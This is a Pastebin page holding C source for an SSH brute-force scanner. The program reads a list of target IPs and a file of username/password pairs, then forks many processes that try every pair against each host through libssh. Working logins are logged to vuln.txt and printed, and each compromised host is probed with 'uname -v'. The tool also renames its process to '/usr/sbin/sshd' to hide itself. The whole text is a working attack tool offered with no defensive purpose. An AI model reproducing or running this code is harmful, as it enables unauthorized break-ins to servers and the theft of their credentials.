Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <libssh/libssh.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #define FAKE "/usr/sbin/sshd"
- void delchar(char *x,int a, int b);
- void delchar(char *x,int a, int b)
- {
- if ((a+b-1) <= strlen(x))
- {
- strcpy(&x[b-1],&x[a+b-1]);
- puts(x);
- }
- }
- void free_channel(ssh_channel channel) {
- ssh_channel_send_eof(channel);
- ssh_channel_close(channel);
- ssh_channel_free(channel);
- return;
- }
- void free_session(ssh_session session) {
- ssh_disconnect(session);
- ssh_free(session);
- return;
- }
- void error(ssh_session session) {
- free_session(session);
- }
- void sshConnectManigu(char *host,char *username, char *pass, int port)
- {
- FILE* vulnf;
- ssh_session session;
- ssh_channel channel;
- int system();
- int rc;
- char buffer[5024];
- int nbytes;
- session = ssh_new();
- if (session == NULL) exit(-1);
- ssh_options_set(session, SSH_OPTIONS_HOST, host);
- ssh_options_set(session, SSH_OPTIONS_PORT, &port);
- ssh_options_set(session, SSH_OPTIONS_USER, username);
- rc = ssh_connect(session);
- if (rc != SSH_OK) error(session);
- rc = ssh_userauth_password(session, NULL, pass);
- if (rc != SSH_AUTH_SUCCESS) {
- ssh_disconnect(session);
- return;
- }
- channel = ssh_channel_new(session);
- if (channel == NULL) exit(-1);
- rc = ssh_channel_open_session(channel);
- if (rc != SSH_OK) error(session);
- vulnf=fopen("vuln.txt","a+");
- fprintf(vulnf,"Hostname:%s%s\nPass:%s\n",username,host,pass);
- printf("\n\033[0;31m[\033[0;37mDon\033[0;31m] - \033[0;36m%s@%sPass:%s \n\033[0m\n",username,host,pass);
- rc = ssh_channel_request_exec(channel, "uname -v");
- if (rc != SSH_OK) error(session);
- nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
- while (nbytes > 0) {
- fwrite(buffer, 1, nbytes, stdout);
- nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
- }
- free_channel(channel);
- free_session(session);
- fclose(vulnf);
- }
- int main(int argc,char *argv[])
- {
- printf("\033[0;37m\n");
- printf("\033[0;37m\n");
- printf("\033[0;37m CEVA FRUMOS\n");
- printf("\033[0;37m\n");
- printf("\033[0;37m\033[0m\n");
- char *iplist,*passfile;
- int maxf,port,numforks,count = 0, i,j,countsave;
- FILE* passf;
- FILE* ip;
- char *c;
- char buff[4096];
- char *a[80196], nutt[4096], *temp, *t, *string;
- if (argv[1] && argv[2] && argv[3] && argv[4] )
- {
- maxf = atoi(argv[1]);
- iplist = argv[2];
- passfile = argv[3];
- port = atoi(argv[4]);
- if((passf=fopen(passfile,"r")) == NULL)
- {
- printf("\n\033[0;31m[\033[0;37m-\033[0;31m] - \033[0;37mFATAL: Nu gasesc %s \033[0m\n",passfile);
- return 0;
- }
- else
- {
- while (fgets(nutt,2024,passf))
- {
- while (t = strchr (nutt,' '))
- {
- temp = strtok (nutt, " ");
- string = strdup (temp);
- a[count++]=string;
- while (temp = strtok (NULL, "\n"))
- {
- string = strdup (temp);
- a[count++]=string;
- }
- }
- }
- fclose(passf);
- countsave = count;
- if((ip=fopen(iplist,"r")) == NULL)
- {
- printf("\n\033[0;31m[\033[0;37m-\033[0;31m] - \033[0;37mFATAL: Nu gasesc %s \033[0m\n",iplist);
- return 0;
- }
- else
- {
- strcpy(argv[0],FAKE);
- while(fgets(buff,sizeof(buff),ip))
- {
- c=strchr(buff,' ');
- if(c!=NULL) c=" ";
- if (!(fork()))
- {
- for (i=0; i<count; i=i+2)
- {
- sshConnectManigu(buff,a[i],a[i+1],port); // try to auth
- }
- exit(-1);
- }
- else
- {
- numforks++;
- if (numforks > maxf)
- for (numforks; numforks > maxf; numforks--)
- wait(NULL);
- }
- }
- }
- fclose(ip);
- }
- }
- else
- printf("\033[0;31m[\033[0;37m-\033[0;31m] - \033[0;37m Syntax: %s Thread-uri Iplist Passfile Port[22]",argv[0]);
- getchar();
- exit (-1);
- err:
- exit (-1);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement